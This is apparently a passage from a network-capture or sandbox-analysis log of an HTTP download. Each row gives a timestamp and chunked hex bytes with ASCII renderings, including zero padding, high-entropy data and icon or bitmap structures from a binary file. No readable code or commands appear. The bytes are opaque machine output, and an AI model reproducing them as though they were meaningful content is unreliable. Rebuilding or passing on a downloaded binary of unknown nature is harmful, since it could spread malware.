2023-07-27 16:26:59 UTC	132	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	140	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	140	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	148	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	148	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	148	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	156	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:26:59 UTC	156	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	156	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000
2023-07-27 16:26:59 UTC	164	IN	Data Raw: 43 00 44 d1 43 00 Data Ascii: CDC
2023-07-27 16:26:59 UTC	164	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	164	IN	Data Raw: 32 30 30 30 0d 0a 7f 7f 7f 7f 7f 7f 7f 7f c4 97 42 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 48 d1 43 00 c8 97 42 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 2000BHCHCHCHCHCHCHCB
2023-07-27 16:26:59 UTC	172	IN	Data Raw: c1 33 42 a6 9b 35 Data Ascii: 3B5
2023-07-27 16:26:59 UTC	172	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	172	IN	Data Raw: 32 30 30 30 0d 0a 5e 59 85 a1 fe d5 ab b8 96 b1 59 a4 c3 a9 6a 6f 77 c6 5c e4 f6 e8 91 73 6f 2c bc 97 c5 f7 11 a7 03 93 57 42 0b 83 ad 6d 4d fb b4 03 f0 aa 76 34 89 bd ed a3 e9 89 68 94 38 5b 66 6c 5e 6d e3 92 f0 c7 f2 f5 1e 0e 4d 30 68 17 71 46 69 d7 b0 4c dc ae 93 86 d9 e3 f7 b9 a8 8a 59 12 2d e7 51 2c ec 2d 4b 78 3c d9 28 04 73 09 31 3d 1c 76 bf 87 d6 cd 6b 3b 02 2a 1f 96 c1 78 c5 c9 33 e9 54 67 5f 79 27 b1 1e da dd cf e5 d8 46 be 44 f9 a4 b5 12 11 48 91 c4 eb c5 2a f4 37 07 31 c7 cc 52 96 fc 56 f8 0c 5b bd 73 f1 ee 76 23 8b c1 c2 f1 aa 8e e0 9c 9e 58 67 1d c6 f5 ab 9e aa d9 b0 8d b8 f9 80 6d a0 36 d5 43 c9 70 cf e0 72 79 80 ed 65 59 05 ea 52 bc 21 4d 13 3d d4 93 6b 54 8f a1 f3 82 10 4b b3 3c bc c9 12 a4 f1 ac 92 c7 5a 4a 15 ee a7 23 7a 5a 80 7e 12 8c Data Ascii: 2000^YYjow\so,WBmMv4h8[fl^mM0hqFiLY-Q,-Kx<(s1=vk;x3Tg_y'FDH71RV[sv#Xgm6CpryeYR!M=kTK<ZJ#zZ~
2023-07-27 16:26:59 UTC	180	IN	Data Raw: d3 1a cc 3b 21 95 Data Ascii: ;!
2023-07-27 16:26:59 UTC	180	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:26:59 UTC	180	IN	Data Raw: 32 30 30 30 0d 0a 54 a6 64 dd e7 35 ae 7b ac 41 b9 66 f7 4f a6 10 fd 68 0d 5f a1 c4 77 bd d7 30 ab 3f 5f 34 58 ee 37 4e 5e 6c 98 62 60 f7 7f 8d 3e a7 f3 f3 a9 b4 95 2f a7 c9 2f de 88 fd 2a e0 2a 39 e3 56 2f 04 c1 27 97 d6 7f ed a9 f1 cf 39 8c de a6 da 92 61 65 cb 66 46 c1 da 32 64 f9 41 d3 09 d0 16 c8 b2 43 d9 41 84 fa 69 fd 25 5b f8 e8 6f 6d c4 1f f1 58 49 c4 16 2d 6c f4 46 55 56 e9 93 77 73 88 a2 45 77 72 ed b6 69 bd 8c 04 85 72 5c 73 40 cc 94 5e d3 59 1b 04 72 d8 eb ab 0b 36 5c 0d 98 78 bc 12 cb 09 30 e2 67 90 91 40 6e f6 16 95 a9 78 46 09 c9 f6 43 53 7b 0e 02 06 1f 88 e4 d0 b2 db e6 1c 30 00 81 6f b0 87 a9 2f 15 83 c5 6c 65 13 6e 3b fa 5f f7 a6 3d 40 03 8d 9d a8 9f 74 89 c5 a9 70 f1 f4 7b 4b 79 3c 81 20 cb c1 18 95 98 38 67 77 89 54 8c d0 5e f4 eb a2 Data Ascii: 2000Td5{AfOh_w0?_4X7N^lb`>//**9V/'9aefF2dACAi%[omXI-lFUVwsEwrir\s@^Yr6\x0g@nxFCS{0o/len;_=@tp{Ky< 8gwT^
2023-07-27 16:26:59 UTC	188	IN	Data Raw: 94 48 af 97 26 14 Data Ascii: H&
2023-07-27 16:26:59 UTC	188	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	188	IN	Data Raw: 31 66 66 38 0d 0a 7d 75 f5 74 f9 d3 9d c7 e1 c2 75 6e 04 c0 6e 3d 07 9e c8 c6 98 1b 46 4c 69 dc fb 03 cc bd 58 c1 1e d4 b9 ca d5 44 4e c0 76 22 01 03 54 8c e5 b2 c3 62 b1 db 5f 63 5b 55 b8 c1 65 f2 d8 ec de d3 e0 95 90 16 4d ec d9 f9 1a e1 76 dc a9 e9 3f ef 1b 28 80 56 29 ff 4f 18 df 25 c2 6f ac c3 c3 6e 8d 25 6e ec 36 3c 84 b9 aa 54 44 e8 0b 92 78 82 4c 0d 2e 94 04 ec cf dd 30 55 c7 86 2f 73 2b 96 59 92 c4 70 17 3e 16 31 e0 fe 31 c8 1d f1 8d ee e7 07 db eb f2 c6 28 cc 98 d1 0c 33 97 b7 bf b2 a4 93 a5 87 3a 81 38 41 4a d5 de 90 48 5d 40 ea 4c 01 81 74 25 fb 57 fa 05 23 21 36 de e7 1a 54 51 fa f6 a2 1c 09 ee 21 38 32 72 f1 1d a8 56 64 69 52 7e fe ec 8b af f4 cb 0b 40 bd 15 47 4e eb b3 44 69 5c 5e ac 6f 7f 4d 49 54 fc 1e a7 00 59 c9 5d ff bd f7 59 0f 6c 56 Data Ascii: 1ff8}utunn=FLiXDNv"Tb_c[UeMv?(V)O%on%n6<TDxL.0U/s+Yp>11(3:8AJH]@Lt%W#!6TQ!82rVdiR~@GNDi\^oMITY]YlV
2023-07-27 16:27:00 UTC	196	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:00 UTC	196	IN	Data Raw: 69 94 db 0e 8a ec 32 44 c2 9a e0 00 53 eb 00 48 fc 80 3a b3 8b 27 b8 d6 81 d7 b5 9a e6 98 d1 8b df e7 57 63 36 b9 a8 7d 71 83 15 0d c4 2c 41 34 7c 0c 70 54 31 18 3f 74 b4 6c a1 09 46 7c e6 24 a9 2f 1e 18 76 ce b1 7c 15 d5 90 c5 dd bd 38 da 8c 99 ec 85 ab f3 40 23 22 77 f0 60 7e f6 5c de b9 a5 46 98 88 a7 34 fb ec ea 32 ff 50 bf 45 c9 8e ec 19 4c d8 0f 37 5d c6 bc 3e 4a 66 24 aa f4 a7 aa dd 13 4c bb a5 5b ab 5f a5 70 bc b6 20 ca d3 8a aa af 59 85 61 a8 ab 7b 04 b3 8e f5 43 97 d2 d7 ca b0 29 90 a0 0d 21 4a 66 73 6b ab 68 48 75 94 03 5e 24 19 e3 ae 64 e8 80 40 24 31 8e c4 33 2b fa b0 38 9b 12 73 5b 96 b2 3b df 48 df 93 03 e2 f7 2c c2 6f f3 d3 77 25 ea ae cf 96 13 92 79 62 9a 80 58 4a e0 d4 af be ad 5f d1 4f 95 3d e3 a1 4d da 00 d4 69 1c ee ab 07 86 44 63 2e Data Ascii: i2DSH:'Wc6}q,A4\|pT1?tlF\|$/v\|8@#"w`~\F42PEL7]>Jf$L[_p Ya{C)!JfskhHu^$d@$13+8s[;H,ow%ybXJ_O=MiDc.
2023-07-27 16:27:00 UTC	204	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	204	IN	Data Raw: 32 30 30 30 0d 0a 45 a5 c5 cf 98 69 2f a0 ed d1 bc 86 0a 3e ff c9 0f 25 57 4b b5 02 86 15 ab a1 52 10 da e6 76 c1 2a e4 ab 13 f3 9a 6d 24 a7 61 49 52 76 18 c8 3b 9b 85 39 58 6a 48 27 0c f6 1d 0a b8 4c bb f8 09 bc 47 0b d5 fe 20 b7 2e 08 ea 64 49 42 6b 18 b0 b2 a1 34 0b 3a ad b1 13 58 e2 fe 12 01 28 fb b0 82 57 18 d3 a3 d7 0c c0 68 e1 ce ee 16 81 86 21 04 65 67 60 41 20 c4 62 ed 44 0c c0 ca 5b a3 4c 64 54 a4 ac 51 c2 a6 f2 fe 7e 23 50 e8 55 5c 0b 66 9b d1 c8 73 02 37 92 f6 dd 95 09 8b 7b fc 06 13 45 1c f6 65 17 77 69 13 18 70 db c8 bd 76 51 2b bc 5d 2d 3d 5f 6c 3f 39 e8 80 fc 78 c1 6f 0c 32 43 7c 80 aa 85 31 33 c7 da 67 f0 47 1d 94 c6 67 57 07 51 6b 6c 61 98 42 90 0e 31 37 1b 56 42 69 f5 73 eb dd 3c 36 ae fc 68 e2 15 fa ee bc d5 d5 7f 77 ce 11 a5 38 7c 4c Data Ascii: 2000Ei/>%WKRv*m$aIRv;9XjH'LG .dIBk4:X(Wh!eg`A bD[LdTQ~#PU\fs7{EewipvQ+]-=_l?9xo2C\|13gGgWQklaB17VBis<6hw8\|L
2023-07-27 16:27:00 UTC	212	IN	Data Raw: 8e 85 e3 66 ee 05 Data Ascii: f
2023-07-27 16:27:00 UTC	212	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	212	IN	Data Raw: 32 30 30 30 0d 0a 90 54 a7 26 2f 1e 44 d7 71 fa b7 bc fa e5 7d 86 fe 2e 19 92 09 e1 61 94 61 85 29 ef 7b 67 11 61 ed 58 d6 ae 8b 49 7c 86 f8 4d be 68 82 19 9f 3d 92 93 cc 6c 99 00 5d 5a 5c 3a 3e 1f 8d 28 23 d8 6e 21 6b b6 0a ed ee 4d 5b 2a 45 0d f2 e4 37 85 e4 3a 7d 7e 40 3e 1a 4b 6c f4 e1 3e e8 57 89 b3 47 7a 43 77 14 aa 68 17 84 71 06 79 55 e1 be 7a 54 9e 25 da ca 72 22 04 d0 74 28 50 f6 45 ca ce 23 22 ec f8 d8 94 06 83 28 0b 43 5d d8 14 ff 3c 19 13 a3 b0 51 b1 86 d1 fe 92 eb 60 80 a7 e7 df b9 60 31 36 6a 43 14 93 5b ed 17 c7 18 67 81 a2 7b 0c b8 d6 21 f9 66 17 a3 57 7b 30 6e 7b 53 f0 ff 75 5d ba 39 dc 3f 62 e0 00 0d 09 0c 62 b9 b1 30 61 63 3c 9e 76 74 91 57 8e 5a 04 cf a1 0d c1 ed 26 51 10 9e 78 32 d6 7e d3 8e 4e cb 1e a8 22 3e e7 bd 56 15 fe a4 6e 07 Data Ascii: 2000T&/Dq}.aa){gaXI\|Mh=l]Z\:>(#n!kM[*E7:}~@>Kl>WGzCwhqyUzT%r"t(PE#"(C]<Q``16jC[g{!fW{0n{Su]9?bb0ac<vtWZ&Qx2~N">Vn
2023-07-27 16:27:00 UTC	220	IN	Data Raw: 82 6f 8c 3b ec a7 Data Ascii: o;
2023-07-27 16:27:00 UTC	220	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	220	IN	Data Raw: 32 30 30 30 0d 0a 5e 1d 14 ab 76 9e f2 55 d2 bb 76 b1 b0 d4 c0 0f ef cb 17 09 07 66 18 2b 1b a3 de 76 8b 9a 33 df 64 62 fb 87 77 78 8d d5 65 3e f0 3d 16 c8 5f f8 c2 6e c9 94 ef 8b 8c da 83 fc 10 54 93 57 f0 ff fe fd 2e 18 41 1e 6a 08 67 16 4a 2e 06 de e7 22 88 4f cc 4b 46 fb 9a 9a a3 64 07 1f e2 f1 5e bf 61 0c b1 47 4b 52 f1 e2 05 b5 5d e3 83 91 f9 07 4b 08 7d 5a 07 3d 70 4b df 31 d9 20 8e 16 98 08 0a 16 98 ce eb a9 ef cf 64 ee 39 6e 22 b4 9c 54 03 9f ac 6b a0 f0 2f 01 d9 1b 5a 1f e8 9c af 74 7a e0 5d c8 ac 5a 0e 58 23 90 b5 4c 46 62 56 5e 73 8a bd 9a 94 91 08 7b b4 d5 aa 6e 01 83 90 0a 7e 95 01 32 04 82 73 71 5f 0b 08 92 98 e2 0c 67 1d fd e2 d5 de ec ad 83 9c 5f cf c0 18 84 1f 86 b5 9f 51 45 9c 95 16 d0 90 d4 66 ea 8a 5c 8e d9 4c d5 26 c5 92 2f 3c 2d c5 Data Ascii: 2000^vUvf+v3dbwxe>=_nTW.AjgJ."OKFd^aGKR]K}Z=pK1 d9n"Tk/Ztz]ZX#LFbV^s{n~2sq_g_QEf\L&/<-
2023-07-27 16:27:00 UTC	228	IN	Data Raw: d3 c8 f2 32 42 57 Data Ascii: 2BW
2023-07-27 16:27:00 UTC	228	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	228	IN	Data Raw: 32 30 30 30 0d 0a 35 f0 92 21 ba 06 95 87 e4 ec 49 ac e1 56 64 91 48 27 1b eb 58 b9 dd 8e d1 6b 0a 33 5d dd 2f 20 a4 ec b2 e9 af ba 60 94 f0 08 5c 9f 27 31 c0 c3 ad 47 9b a8 cf e9 82 7d 81 44 01 48 92 7c e4 e1 86 db bc cb ce 93 d9 ad a7 b7 e1 5a 33 74 0b 0e 60 af dd 8f 05 18 6a 46 d8 89 63 96 9a 1f 71 bb e9 a9 e0 b3 28 3b 90 0f eb 75 e9 f2 61 99 5d f7 c2 84 e7 b7 78 58 50 ea 29 8b 87 d9 2b 8d 91 7d fc 8c 3e d2 8a 72 5a 92 0c a7 80 d9 c0 9e eb 4c 86 68 16 02 96 82 08 3a 0b 1d 4b c5 e5 3c ef 6b d7 31 1c 03 55 03 95 26 61 7f b4 8a 6e a3 c9 f3 78 64 6a 5d cc ef f3 7e 0c 07 8f b1 17 ed 33 78 d7 49 94 2e 21 c2 62 14 1b e2 22 fb d4 2e a3 84 8d 05 a0 db bd dd 29 dd 2b 93 02 54 92 8d d0 96 9c 27 06 8f 74 e8 8d a1 f4 dc 1e 38 b8 61 78 c8 fb c8 a3 2a 88 2a 44 ed 70 Data Ascii: 20005!IVdH'Xk3]/ `\'1G}DH\|Z3t`jFcq(;ua]xXP)+}>rZLh:K<k1U&anxdj]~3xI.!b".)+T't8ax**Dp
2023-07-27 16:27:00 UTC	236	IN	Data Raw: 5d 6d 5b 19 82 d3 Data Ascii: ]m[
2023-07-27 16:27:00 UTC	236	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	236	IN	Data Raw: 32 30 30 30 0d 0a 11 c6 20 49 c1 17 50 66 83 81 e3 bc 65 bd 86 9e c3 a1 fa 1e 1c 00 3c f6 4a 95 bb f0 db 83 af ec cf 29 a6 31 fb 09 b4 04 8a b4 75 92 7c 9b f4 b6 04 50 0a 49 79 92 6c 6d 71 43 10 c8 ec 19 9d 83 a1 07 92 2c 7f 81 92 96 b1 a3 6e 83 97 ab ac 15 2b d7 1d 5a 3e 35 89 92 1a b9 80 46 d4 40 46 2c f4 8f 10 00 e8 04 ac 32 0a 48 12 42 4c 30 5e 3b 97 72 c8 dc e7 63 d2 b4 74 ae 22 68 f1 5d 73 f6 6b e4 9a 99 de d8 e7 db 6b a9 2d d1 85 5c d8 be 0f 2c d7 d0 22 aa 25 09 cc 54 13 a2 4a 58 5b 36 ec 1b 94 66 27 16 34 06 dd b7 84 d1 17 3c 9b 42 9a c6 69 ea a5 16 37 e8 b3 74 47 39 f9 1a 79 80 4e 86 13 c4 b5 04 45 a6 0a b2 07 e9 a7 29 d0 d9 4c 03 ba db 2f 3e 4f 21 28 1a 4d bb 56 32 8d 9a 78 59 dd 94 74 38 bc 2e 39 26 2a 48 b7 04 92 bc bb 4f 5d 16 36 6d f2 33 df Data Ascii: 2000 IPfe<J)1u\|PIylmqC,n+Z>5F@F,2HBL0^;rct"h]skk-\,"%TJX[6f'4<Bi7tG9yNE)L/>O!(MV2xYt8.9&*HO]6m3
2023-07-27 16:27:00 UTC	244	IN	Data Raw: 85 83 80 7c 7b 7d Data Ascii: \|{}
2023-07-27 16:27:00 UTC	244	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	244	IN	Data Raw: 32 30 30 30 0d 0a 7a 7c 7f 7d 7d 83 80 80 80 7c 84 7a 7e 7c 84 7b 7c 86 7d 7d 7e 81 82 7a 7c 7a 81 86 81 80 7b 81 7d 83 83 79 83 85 7d 7c 81 7e 86 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7c 81 82 7f 7e 86 84 85 7c 82 7f 82 7e 7d 81 81 7d 7c 86 81 80 7e 7f 7d 80 7b 7f 80 7b 7f 7c 81 80 82 7a 7e 7c 7c 80 80 7f 82 82 7e 7a 7d 85 80 7f 85 80 7b 7a 7f 83 81 7f 7f 7d 7b 85 83 82 7f 83 84 79 7c 7b 84 83 85 81 7c 7f 85 84 7b 85 7f 82 7c 85 84 7f 85 84 82 85 7c 80 84 83 80 80 86 84 7e 83 7a 7e 82 82 7f 82 7c 80 7f 82 7a 7e 7b 7e 83 7f 82 7d 7e 7c 84 82 85 7b 7e 7e 82 7d 82 80 7d 83 7e 7e 79 7a 7e 81 81 7c 80 7a 7d 81 80 7c 7b 7d 7c 81 7b 85 7d 7c 80 80 83 80 7f 7c 7f 83 81 82 7f 7e 81 7c 7d 00 Data Ascii: 2000z\|}}\|z~\|{\|}}~z\|z{}y}\|~\|~\|~}}\|~}{{\|z~\|\|~z}{z}{y\|{\|{\|\|~z~\|z~{~}~\|{~~}}~~yz~\|z}\|{}\|{}\|\|~\|}
2023-07-27 16:27:00 UTC	252	IN	Data Raw: 7a 7f 7f 80 7f 80 Data Ascii: z
2023-07-27 16:27:00 UTC	252	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	252	IN	Data Raw: 31 66 66 38 0d 0a 7b 82 82 82 7f 7b 81 7d 7b 85 7c 7c 80 7b 81 81 7d 7e 7b 81 79 80 81 81 82 80 81 83 80 7d 7b 82 7e 7a 7d 80 81 7d 7e 7d 84 84 7e 84 82 7d 7e 84 7c 85 7c 7b 84 7f 7e 7a 7e 7f 7d 80 7f 7b 7c 7a 81 7a 7a 82 7f 7b 81 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 85 81 81 82 7c 7f 85 82 7a 7e 7b 7b 7b 7c 7d 80 81 84 82 85 7b 7d 7c 7a 7b 7b 7e 7d 7e 82 7e 7d 7b 7c 7e 7b 7c 81 7b 81 7e 7f 7e 7f 80 81 81 7c 7e 79 7b 7d 7a 7e 7a 7e 7b 7e 7c 82 7c 7e 81 83 7b 7c 84 7e 7f 7f 7b 84 79 81 7b 7c 7f 79 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 80 7e 7f 7f 7c 7f 7f 80 80 7b 84 85 83 7f 84 7f 81 7e 81 81 7c 7b 7e 7c 7b 85 7d 80 7c 7d 84 7a 83 7e 7d 7d 81 7f 80 82 7a 79 7b 7f 7e 7d 7c 7b 7d 7f 7c 7b 7d 7b 7b 7d 7b 7b 7f 7e 85 84 80 80 Data Ascii: 1ff8{{}{\|\|{}~{y}{~z}}~}~}~\|\|{~z~}{\|zzz{\|\|z~{{{\|}{}\|z{{~}~~}{\|~{\|{~~\|~y{}z~z~{~\|\|~{\|~{y{\|y}~\|{~\|{~\|{}\|}z~}}zy{~}\|{}\|{}{{}{{~
2023-07-27 16:27:00 UTC	260	IN	Data Raw: 32 30 30 30 0d 0a Data Ascii: 2000
2023-07-27 16:27:00 UTC	260	IN	Data Raw: 61 61 61 61 61 61 4a ef a9 42 61 61 61 61 61 61 61 61 61 61 61 61 ae 65 67 61 61 61 61 61 61 61 61 61 61 61 61 61 61 76 42 61 61 61 61 61 61 61 61 61 61 61 61 61 61 ae 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 ff ff 00 00 e3 cf 00 00 f0 0f 00 00 f0 0f 00 00 f0 0f 00 00 f0 0f 00 00 e0 07 00 00 c0 03 00 00 80 01 00 00 f8 1f 00 00 fc 3f 00 00 fc 7f 00 00 fe 7f 00 00 fe ff 00 00 ff ff 00 00 ff ff 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 81 7e 7f 81 80 7f 7f 81 80 7e 7e 7f 7f 7f 81 81 7e 81 7e 80 80 80 81 7f 7f 7e 7f 7f 80 7f 7e 80 81 80 80 7f 81 81 80 80 80 81 7f 7e 80 81 80 7e 7f 7f 80 Data Ascii: aaaaaaJBaaaaaaaaaaaaegaaaaaaaaaaaaaavBaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa?(0` ~~~~~~~~~
2023-07-27 16:27:00 UTC	268	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	268	IN	Data Raw: 32 30 30 30 0d 0a 80 81 81 81 80 80 7e 7f 80 7e 81 80 80 7f 80 81 7f 81 7e 7f 80 80 80 7f 7e 80 7e 7f 80 7f 80 81 7f 80 80 7e 7f 80 7f 7f 81 81 80 7e 80 7f 81 80 81 7f 7f 7e 81 7f 80 80 7f 7e 7f 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 80 81 81 80 7f 81 7e 81 80 7f 81 80 80 7f 7f 7e 80 80 7e 80 7f 81 7f 80 7e 80 7f 7e 81 7f 80 81 7f 7f 7e 7f 81 7e 7e 81 80 81 7f 80 80 7e 7e 80 80 7e 7f 80 7f 80 7e 7f 7f 7f 7e 7f 81 7f 7f 81 7f 7f 80 7f 80 80 80 7f 7f 80 7e 7f 80 7f 7f 80 80 80 80 80 81 7f 7f 7e 80 81 80 7f 81 7f 80 80 7f 81 7f 80 7f 80 81 7e 81 7f 80 7e 7e 81 7f 7f 7f 80 7f 80 81 81 80 7f 7e 7f 81 81 80 7e 80 81 80 7e 80 80 81 80 7e 7f 7f 7f 7f 7f 80 81 7f 7e Data Ascii: 2000~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-07-27 16:27:00 UTC	276	IN	Data Raw: 00 00 00 00 00 00 Data Ascii:
2023-07-27 16:27:00 UTC	276	IN	Data Raw: 0d 0a Data Ascii:
2023-07-27 16:27:00 UTC	276	IN	Data Raw: 32 30 30 30 0d 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 41 c0 3f ff 41 e0 00 1f 41 c0 00 03 41 c0 00 0f 41 f0 00 03 41 c0 00 01 41 80 00 03 41 00 00 00 41 10 00 3f 41 c0 00 03 41 c0 00 03 41 00 00 07 41 00 00 01 41 80 00 01 41 c0 00 03 41 ff 00 01 41 f8 00 31 41 e0 00 00 41 fc 00 00 41 c0 00 01 41 e0 00 07 41 ff 00 03 41 ff ff ff 41 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e 80 7f 7f 80 80 80 7f 81 7f 80 80 80 80 7f 7f 81 80 7e 80 7f 80 80 80 7f 7f 7f 7e 7f 80 80 81 81 81 80 81 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 80 80 80 7f 81 7e 7f 81 80 7f 7f 7e 80 80 7f 80 Data Ascii: 2000A?AAAAAAAA?AAAAAAAA1AAAAAAA( ~~~~~
2023-07-27 16:27:00 UTC	284	IN	Data Raw: 7e 00 81 81 7f 00 Data Ascii: ~
2023-07-27 16:27:00 UTC	284	IN	Data Raw: 0d 0a Data Ascii:
